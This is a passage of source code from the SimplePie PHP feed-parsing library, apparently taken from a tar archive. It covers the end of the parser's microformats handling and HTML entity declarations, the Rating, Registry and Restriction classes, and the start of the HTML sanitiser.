($this->current_xhtml_construct === -1) { $this->data =& $this->datas[count($this->datas) - 1]; array_pop($this->datas); } array_pop($this->element); array_pop($this->namespace); array_pop($this->xml_base); array_pop($this->xml_base_explicit); array_pop($this->xml_lang); } public function split_ns($string) { static $cache = array(); if (!isset($cache[$string])) { if ($pos = strpos($string, $this->separator)) { static $separator_length; if (!$separator_length) { $separator_length = strlen($this->separator); } $namespace = substr($string, 0, $pos); $local_name = substr($string, $pos + $separator_length); if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES) { $namespace = SIMPLEPIE_NAMESPACE_ITUNES; } // Normalize the Media RSS namespaces if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2 || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3 || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4 || $namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5 ) { $namespace = SIMPLEPIE_NAMESPACE_MEDIARSS; } $cache[$string] = array($namespace, $local_name); } else { $cache[$string] = array('', $string); } } return $cache[$string]; } private function parse_hcard($data, $category = false) { $name = ''; $link = ''; // Check if h-card is set and pass that information on in the link. if (isset($data['type']) && in_array('h-card', $data['type'])) { if (isset($data['properties']['name'][0])) { $name = $data['properties']['name'][0]; } if (isset($data['properties']['url'][0])) { $link = $data['properties']['url'][0]; if ($name === '') { $name = $link; } else { // can't have commas in categories. $name = str_replace(',', '', $name); } $person_tag = $category ? '<span class="person-tag"></span>' : ''; return '<a class="h-card" href="'.$link.'">'.$person_tag.$name.'</a>'; } } return isset($data['value']) ? $data['value'] : ''; } private function parse_microformats(&$data, $url) { $feed_title = ''; $feed_author = NULL; $author_cache = array(); $items = array(); $entries = array(); $mf = Mf2\parse($data, $url); // First look for an h-feed. $h_feed = array(); foreach ($mf['items'] as $mf_item) { if (in_array('h-feed', $mf_item['type'])) { $h_feed = $mf_item; break; } // Also look for h-feed or h-entry in the children of each top level item. if (!isset($mf_item['children'][0]['type'])) continue; if (in_array('h-feed', $mf_item['children'][0]['type'])) { $h_feed = $mf_item['children'][0]; // In this case the parent of the h-feed may be an h-card, so use it as // the feed_author. if (in_array('h-card', $mf_item['type'])) $feed_author = $mf_item; break; } else if (in_array('h-entry', $mf_item['children'][0]['type'])) { $entries = $mf_item['children']; // In this case the parent of the h-entry list may be an h-card, so use // it as the feed_author. if (in_array('h-card', $mf_item['type'])) $feed_author = $mf_item; break; } } if (isset($h_feed['children'])) { $entries = $h_feed['children']; // Also set the feed title and store author from the h-feed if available. if (isset($mf['items'][0]['properties']['name'][0])) { $feed_title = $mf['items'][0]['properties']['name'][0]; } if (isset($mf['items'][0]['properties']['author'][0])) { $feed_author = $mf['items'][0]['properties']['author'][0]; } } else if (count($entries) === 0) { $entries = $mf['items']; } for ($i = 0; $i < count($entries); $i++) { $entry = $entries[$i]; if (in_array('h-entry', $entry['type'])) { $item = array(); $title = ''; $description = ''; if (isset($entry['properties']['url'][0])) { $link = $entry['properties']['url'][0]; if (isset($link['value'])) $link = $link['value']; $item['link'] = array(array('data' => $link)); } if (isset($entry['properties']['uid'][0])) { $guid = $entry['properties']['uid'][0]; if (isset($guid['value'])) $guid = $guid['value']; $item['guid'] = array(array('data' => $guid)); } if (isset($entry['properties']['name'][0])) { $title = $entry['properties']['name'][0]; if (isset($title['value'])) $title = $title['value']; $item['title'] = array(array('data' => $title)); } if (isset($entry['properties']['author'][0]) || isset($feed_author)) { // author is a special case, it can be plain text or an h-card array. // If it's plain text it can also be a url that should be followed to // get the actual h-card. $author = isset($entry['properties']['author'][0]) ? $entry['properties']['author'][0] : $feed_author; if (!is_string($author)) { $author = $this->parse_hcard($author); } else if (strpos($author, 'http') === 0) { if (isset($author_cache[$author])) { $author = $author_cache[$author]; } else { $mf = Mf2\fetch($author); foreach ($mf['items'] as $hcard) { // Only interested in an h-card by itself in this case. if (!in_array('h-card', $hcard['type'])) { continue; } // It must have a url property matching what we fetched. if (!isset($hcard['properties']['url']) || !(in_array($author, $hcard['properties']['url']))) { continue; } // Save parse_hcard the trouble of finding the correct url. $hcard['properties']['url'][0] = $author; // Cache this h-card for the next h-entry to check. $author_cache[$author] = $this->parse_hcard($hcard); $author = $author_cache[$author]; break; } } } $item['author'] = array(array('data' => $author)); } if (isset($entry['properties']['photo'][0])) { // If a photo is also in content, don't need to add it again here. $content = ''; if (isset($entry['properties']['content'][0]['html'])) { $content = $entry['properties']['content'][0]['html']; } $photo_list = array(); for ($j = 0; $j < count($entry['properties']['photo']); $j++) { $photo = $entry['properties']['photo'][$j]; if (!empty($photo) && strpos($content, $photo) === false) { $photo_list[] = $photo; } } // When there's more than one photo show the first and use a lightbox. // Need a permanent, unique name for the image set, but don't have // anything unique except for the content itself, so use that. $count = count($photo_list); if ($count > 1) { $image_set_id = preg_replace('/[[:^alnum:]]/', '', $photo_list[0]); $description = '<p>'; for ($j = 0; $j < $count; $j++) { $hidden = $j === 0 ? '' : 'class="hidden" '; $description .= '<a href="'.$photo_list[$j].'" '.$hidden. 'data-lightbox="image-set-'.$image_set_id.'">'. '<img src="'.$photo_list[$j].'"></a>'; } $description .= '<br><b>'.$count.' photos</b></p>'; } else if ($count == 1) { $description = '<p><img src="'.$photo_list[0].'"></p>'; } } if (isset($entry['properties']['content'][0]['html'])) { // e-content['value'] is the same as p-name when they are on the same // element. Use this to replace title with a strip_tags version so // that alt text from images is not included in the title. if ($entry['properties']['content'][0]['value'] === $title) { $title = strip_tags($entry['properties']['content'][0]['html']); $item['title'] = array(array('data' => $title)); } $description .= $entry['properties']['content'][0]['html']; if (isset($entry['properties']['in-reply-to'][0])) { $in_reply_to = ''; if (is_string($entry['properties']['in-reply-to'][0])) { $in_reply_to = $entry['properties']['in-reply-to'][0]; } else if (isset($entry['properties']['in-reply-to'][0]['value'])) { $in_reply_to = $entry['properties']['in-reply-to'][0]['value']; } if ($in_reply_to !== '') { $description .= '<p><span class="in-reply-to"></span> '. '<a href="'.$in_reply_to.'">'.$in_reply_to.'</a><p>'; } } $item['description'] = array(array('data' => $description)); } if (isset($entry['properties']['category'])) { $category_csv = ''; // Categories can also contain h-cards. foreach ($entry['properties']['category'] as $category) { if ($category_csv !== '') $category_csv .= ', '; if (is_string($category)) { // Can't have commas in categories. $category_csv .= str_replace(',', '', $category); } else { $category_csv .= $this->parse_hcard($category, true); } } $item['category'] = array(array('data' => $category_csv)); } if (isset($entry['properties']['published'][0])) { $timestamp = strtotime($entry['properties']['published'][0]); $pub_date = date('F j Y g:ia', $timestamp).' GMT'; $item['pubDate'] = array(array('data' => $pub_date)); } // The title and description are set to the empty string to represent // a deleted item (which also makes it an invalid rss item). if (isset($entry['properties']['deleted'][0])) { $item['title'] = array(array('data' => '')); $item['description'] = array(array('data' => '')); } $items[] = array('child' => array('' => $item)); } } // Mimic RSS data format when storing microformats. $link = array(array('data' => $url)); $image = ''; if (!is_string($feed_author) && isset($feed_author['properties']['photo'][0])) { $image = array(array('child' => array('' => array('url' => array(array('data' => $feed_author['properties']['photo'][0])))))); } // Use the name given for the h-feed, or get the title from the html. if ($feed_title !== '') { $feed_title = array(array('data' => htmlspecialchars($feed_title))); } else if ($position = strpos($data, '<title>')) { $start = $position < 200 ? 0 : $position - 200; $check = substr($data, $start, 400); $matches = array(); if (preg_match('/<title>(.+)<\/title>/', $check, $matches)) { $feed_title = array(array('data' => htmlspecialchars($matches[1]))); } } $channel = array('channel' => array(array('child' => array('' => array('link' => $link, 'image' => $image, 'title' => $feed_title, 'item' => $items))))); $rss = array(array('attribs' => array('' => array('version' => '2.0')), 'child' => array('' => $channel))); $this->data = array('child' => array('' => array('rss' => $rss))); return true; } private function declare_html_entities() { // This is required because the RSS specification says that entity-encoded // html is allowed, but the xml specification says they must be declared. return '<!DOCTYPE html [ <!ENTITY nbsp " "> <!ENTITY iexcl "¡"> <!ENTITY cent "¢"> <!ENTITY pound "£"> <!ENTITY curren "¤"> <!ENTITY yen "¥"> <!ENTITY brvbar "¦"> <!ENTITY sect "§"> <!ENTITY uml "¨"> <!ENTITY copy "©"> <!ENTITY ordf "ª"> <!ENTITY laquo "«"> <!ENTITY not "¬"> <!ENTITY shy "­"> <!ENTITY reg "®"> <!ENTITY macr "¯"> <!ENTITY deg "°"> <!ENTITY plusmn "±"> <!ENTITY sup2 "²"> <!ENTITY sup3 "³"> <!ENTITY acute "´"> <!ENTITY micro "µ"> <!ENTITY para "¶"> <!ENTITY middot "·"> <!ENTITY cedil "¸"> <!ENTITY sup1 "¹"> <!ENTITY ordm "º"> <!ENTITY raquo "»"> <!ENTITY frac14 "¼"> <!ENTITY frac12 "½"> <!ENTITY frac34 "¾"> <!ENTITY iquest "¿"> <!ENTITY Agrave "À"> <!ENTITY Aacute "Á"> <!ENTITY Acirc "Â"> <!ENTITY Atilde "Ã"> <!ENTITY Auml "Ä"> <!ENTITY Aring "Å"> <!ENTITY AElig "Æ"> <!ENTITY Ccedil "Ç"> <!ENTITY Egrave "È"> <!ENTITY Eacute "É"> <!ENTITY Ecirc "Ê"> <!ENTITY Euml "Ë"> <!ENTITY Igrave "Ì"> <!ENTITY Iacute "Í"> <!ENTITY Icirc "Î"> <!ENTITY Iuml "Ï"> <!ENTITY ETH "Ð"> <!ENTITY Ntilde "Ñ"> <!ENTITY Ograve "Ò"> <!ENTITY Oacute "Ó"> <!ENTITY Ocirc "Ô"> <!ENTITY Otilde "Õ"> <!ENTITY Ouml "Ö"> <!ENTITY times "×"> <!ENTITY Oslash "Ø"> <!ENTITY Ugrave "Ù"> <!ENTITY Uacute "Ú"> <!ENTITY Ucirc "Û"> <!ENTITY Uuml "Ü"> <!ENTITY Yacute "Ý"> <!ENTITY THORN "Þ"> <!ENTITY szlig "ß"> <!ENTITY agrave "à"> <!ENTITY aacute "á"> <!ENTITY acirc "â"> <!ENTITY atilde "ã"> <!ENTITY auml "ä"> <!ENTITY aring "å"> <!ENTITY aelig "æ"> <!ENTITY ccedil "ç"> <!ENTITY egrave "è"> <!ENTITY eacute "é"> <!ENTITY ecirc "ê"> <!ENTITY euml "ë"> <!ENTITY igrave "ì"> <!ENTITY iacute "í"> <!ENTITY icirc "î"> <!ENTITY iuml "ï"> <!ENTITY eth "ð"> <!ENTITY ntilde "ñ"> <!ENTITY ograve "ò"> <!ENTITY oacute "ó"> <!ENTITY ocirc "ô"> <!ENTITY otilde "õ"> <!ENTITY ouml "ö"> <!ENTITY divide "÷"> <!ENTITY oslash "ø"> <!ENTITY ugrave "ù"> <!ENTITY uacute "ú"> <!ENTITY ucirc "û"> <!ENTITY uuml "ü"> <!ENTITY yacute "ý"> <!ENTITY thorn "þ"> <!ENTITY yuml "ÿ"> <!ENTITY OElig "Œ"> <!ENTITY oelig "œ"> <!ENTITY Scaron "Š"> <!ENTITY scaron "š"> <!ENTITY Yuml "Ÿ"> <!ENTITY fnof "ƒ"> <!ENTITY circ "ˆ"> <!ENTITY tilde "˜"> <!ENTITY Alpha "Α"> <!ENTITY Beta "Β"> <!ENTITY Gamma "Γ"> <!ENTITY Epsilon "Ε"> <!ENTITY Zeta "Ζ"> <!ENTITY Eta "Η"> <!ENTITY Theta "Θ"> <!ENTITY Iota "Ι"> <!ENTITY Kappa "Κ"> <!ENTITY Lambda "Λ"> <!ENTITY Mu "Μ"> <!ENTITY Nu "Ν"> <!ENTITY Xi "Ξ"> <!ENTITY Omicron "Ο"> <!ENTITY Pi "Π"> <!ENTITY Rho "Ρ"> <!ENTITY Sigma "Σ"> <!ENTITY Tau "Τ"> <!ENTITY Upsilon "Υ"> <!ENTITY Phi "Φ"> <!ENTITY Chi "Χ"> <!ENTITY Psi "Ψ"> <!ENTITY Omega "Ω"> <!ENTITY alpha "α"> <!ENTITY beta "β"> <!ENTITY gamma "γ"> <!ENTITY delta "δ"> <!ENTITY epsilon "ε"> <!ENTITY zeta "ζ"> <!ENTITY eta "η"> <!ENTITY theta "θ"> <!ENTITY iota "ι"> <!ENTITY kappa "κ"> <!ENTITY lambda "λ"> <!ENTITY mu "μ"> <!ENTITY nu "ν"> <!ENTITY xi "ξ"> <!ENTITY omicron "ο"> <!ENTITY pi "π"> <!ENTITY rho "ρ"> <!ENTITY sigmaf "ς"> <!ENTITY sigma "σ"> <!ENTITY tau "τ"> <!ENTITY upsilon "υ"> <!ENTITY phi "φ"> <!ENTITY chi "χ"> <!ENTITY psi "ψ"> <!ENTITY omega "ω"> <!ENTITY thetasym "ϑ"> <!ENTITY upsih "ϒ"> <!ENTITY piv "ϖ"> <!ENTITY ensp " "> <!ENTITY emsp " "> <!ENTITY thinsp " "> <!ENTITY zwnj "‌"> <!ENTITY zwj "‍"> <!ENTITY lrm "‎"> <!ENTITY rlm "‏"> <!ENTITY ndash "–"> <!ENTITY mdash "—"> <!ENTITY lsquo "‘"> <!ENTITY rsquo "’"> <!ENTITY sbquo "‚"> <!ENTITY ldquo "“"> <!ENTITY rdquo "”"> <!ENTITY bdquo "„"> <!ENTITY dagger "†"> <!ENTITY Dagger "‡"> <!ENTITY bull "•"> <!ENTITY hellip "…"> <!ENTITY permil "‰"> <!ENTITY prime "′"> <!ENTITY Prime "″"> <!ENTITY lsaquo "‹"> <!ENTITY rsaquo "›"> <!ENTITY oline "‾"> <!ENTITY frasl "⁄"> <!ENTITY euro "€"> <!ENTITY image "ℑ"> <!ENTITY weierp "℘"> <!ENTITY real "ℜ"> <!ENTITY trade "™"> <!ENTITY alefsym "ℵ"> <!ENTITY larr "←"> <!ENTITY uarr "↑"> <!ENTITY rarr "→"> <!ENTITY darr "↓"> <!ENTITY harr "↔"> <!ENTITY crarr "↵"> <!ENTITY lArr "⇐"> <!ENTITY uArr "⇑"> <!ENTITY rArr "⇒"> <!ENTITY dArr "⇓"> <!ENTITY hArr "⇔"> <!ENTITY forall "∀"> <!ENTITY part "∂"> <!ENTITY exist "∃"> <!ENTITY empty "∅"> <!ENTITY nabla "∇"> <!ENTITY isin "∈"> <!ENTITY notin "∉"> <!ENTITY ni "∋"> <!ENTITY prod "∏"> <!ENTITY sum "∑"> <!ENTITY minus "−"> <!ENTITY lowast "∗"> <!ENTITY radic "√"> <!ENTITY prop "∝"> <!ENTITY infin "∞"> <!ENTITY ang "∠"> <!ENTITY and "∧"> <!ENTITY or "∨"> <!ENTITY cap "∩"> <!ENTITY cup "∪"> <!ENTITY int "∫"> <!ENTITY there4 "∴"> <!ENTITY sim "∼"> <!ENTITY cong "≅"> <!ENTITY asymp "≈"> <!ENTITY ne "≠"> <!ENTITY equiv "≡"> <!ENTITY le "≤"> <!ENTITY ge "≥"> <!ENTITY sub "⊂"> <!ENTITY sup "⊃"> <!ENTITY nsub "⊄"> <!ENTITY sube "⊆"> <!ENTITY supe "⊇"> <!ENTITY oplus "⊕"> <!ENTITY otimes "⊗"> <!ENTITY perp "⊥"> <!ENTITY sdot "⋅"> <!ENTITY lceil "⌈"> <!ENTITY rceil "⌉"> <!ENTITY lfloor "⌊"> <!ENTITY rfloor "⌋"> <!ENTITY lang "〈"> <!ENTITY rang "〉"> <!ENTITY loz "◊"> <!ENTITY spades "♠"> <!ENTITY clubs "♣"> <!ENTITY hearts "♥"> <!ENTITY diams "♦"> ]>'; } } ��������������������������������������������������������������������������������������������������������������SimplePie/Rating.php��������������������������������������������������������������������������������0000644�����������������00000006474�15120262027�0010400 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively * * Used by {@see SimplePie_Enclosure::get_rating()} and {@see SimplePie_Enclosure::get_ratings()} * * This class can be overloaded with {@see SimplePie::set_rating_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Rating { /** * Rating scheme * * @var string * @see get_scheme() */ var $scheme; /** * Rating value * * @var string * @see get_value() */ var $value; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($scheme = null, $value = null) { $this->scheme = $scheme; $this->value = $value; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the organizational scheme for the rating * * @return string|null */ public function get_scheme() { if ($this->scheme !== null) { return $this->scheme; } return null; } /** * Get the value of the rating * * @return string|null */ public function get_value() { if ($this->value !== null) { return $this->value; } return null; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie/Registry.php������������������������������������������������������������������������������0000644�����������������00000013510�15120262027�0010751 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles creating objects and calling methods * * Access this via {@see SimplePie::get_registry()} * * @package SimplePie */ class SimplePie_Registry { /** * Default class mapping * * Overriding classes *must* subclass these. * * @var array */ protected $default = array( 'Cache' => 'SimplePie_Cache', 'Locator' => 'SimplePie_Locator', 'Parser' => 'SimplePie_Parser', 'File' => 'SimplePie_File', 'Sanitize' => 'SimplePie_Sanitize', 'Item' => 'SimplePie_Item', 'Author' => 'SimplePie_Author', 'Category' => 'SimplePie_Category', 'Enclosure' => 'SimplePie_Enclosure', 'Caption' => 'SimplePie_Caption', 'Copyright' => 'SimplePie_Copyright', 'Credit' => 'SimplePie_Credit', 'Rating' => 'SimplePie_Rating', 'Restriction' => 'SimplePie_Restriction', 'Content_Type_Sniffer' => 'SimplePie_Content_Type_Sniffer', 'Source' => 'SimplePie_Source', 'Misc' => 'SimplePie_Misc', 'XML_Declaration_Parser' => 'SimplePie_XML_Declaration_Parser', 'Parse_Date' => 'SimplePie_Parse_Date', ); /** * Class mapping * * @see register() * @var array */ protected $classes = array(); /** * Legacy classes * * @see register() * @var array */ protected $legacy = array(); /** * Constructor * * No-op */ public function __construct() { } /** * Register a class * * @param string $type See {@see $default} for names * @param string $class Class name, must subclass the corresponding default * @param bool $legacy Whether to enable legacy support for this class * @return bool Successfulness */ public function register($type, $class, $legacy = false) { if (!@is_subclass_of($class, $this->default[$type])) { return false; } $this->classes[$type] = $class; if ($legacy) { $this->legacy[] = $class; } return true; } /** * Get the class registered for a type * * Where possible, use {@see create()} or {@see call()} instead * * @param string $type * @return string|null */ public function get_class($type) { if (!empty($this->classes[$type])) { return $this->classes[$type]; } if (!empty($this->default[$type])) { return $this->default[$type]; } return null; } /** * Create a new instance of a given type * * @param string $type * @param array $parameters Parameters to pass to the constructor * @return object Instance of class */ public function &create($type, $parameters = array()) { $class = $this->get_class($type); if (in_array($class, $this->legacy)) { switch ($type) { case 'locator': // Legacy: file, timeout, useragent, file_class, max_checked_feeds, content_type_sniffer_class // Specified: file, timeout, useragent, max_checked_feeds $replacement = array($this->get_class('file'), $parameters[3], $this->get_class('content_type_sniffer')); array_splice($parameters, 3, 1, $replacement); break; } } if (!method_exists($class, '__construct')) { $instance = new $class; } else { $reflector = new ReflectionClass($class); $instance = $reflector->newInstanceArgs($parameters); } if (method_exists($instance, 'set_registry')) { $instance->set_registry($this); } return $instance; } /** * Call a static method for a type * * @param string $type * @param string $method * @param array $parameters * @return mixed */ public function &call($type, $method, $parameters = array()) { $class = $this->get_class($type); if (in_array($class, $this->legacy)) { switch ($type) { case 'Cache': // For backwards compatibility with old non-static // Cache::create() methods if ($method === 'get_handler') { $result = @call_user_func_array(array($class, 'create'), $parameters); return $result; } break; } } $result = call_user_func_array(array($class, $method), $parameters); return $result; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie/Restriction.php���������������������������������������������������������������������������0000644�����������������00000007212�15120262027�0011450 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Handles `<media:restriction>` as defined in Media RSS * * Used by {@see SimplePie_Enclosure::get_restriction()} and {@see SimplePie_Enclosure::get_restrictions()} * * This class can be overloaded with {@see SimplePie::set_restriction_class()} * * @package SimplePie * @subpackage API */ class SimplePie_Restriction { /** * Relationship ('allow'/'deny') * * @var string * @see get_relationship() */ var $relationship; /** * Type of restriction * * @var string * @see get_type() */ var $type; /** * Restricted values * * @var string * @see get_value() */ var $value; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($relationship = null, $type = null, $value = null) { $this->relationship = $relationship; $this->type = $type; $this->value = $value; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the relationship * * @return string|null Either 'allow' or 'deny' */ public function get_relationship() { if ($this->relationship !== null) { return $this->relationship; } return null; } /** * Get the type * * @return string|null */ public function get_type() { if ($this->type !== null) { return $this->type; } return null; } /** * Get the list of restricted things * * @return string|null */ public function get_value() { if ($this->value !== null) { return $this->value; } return null; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������SimplePie/Sanitize.php������������������������������������������������������������������������������0000644�����������������00000037666�15120262027�0010751 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ /** * Used for data cleanup and post-processing * * * This class can be overloaded with {@see SimplePie::set_sanitize_class()} * * @package SimplePie * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags */ class SimplePie_Sanitize { // Private vars var $base; // Options var $remove_div = true; var $image_handler = ''; var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'); var $encode_instead_of_strip = false; var $strip_attributes = array('bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'); var $add_attributes = array('audio' => array('preload' => 'none'), 'iframe' => array('sandbox' => 'allow-scripts allow-same-origin'), 'video' => array('preload' => 'none')); var $strip_comments = false; var $output_encoding = 'UTF-8'; var $enable_cache = 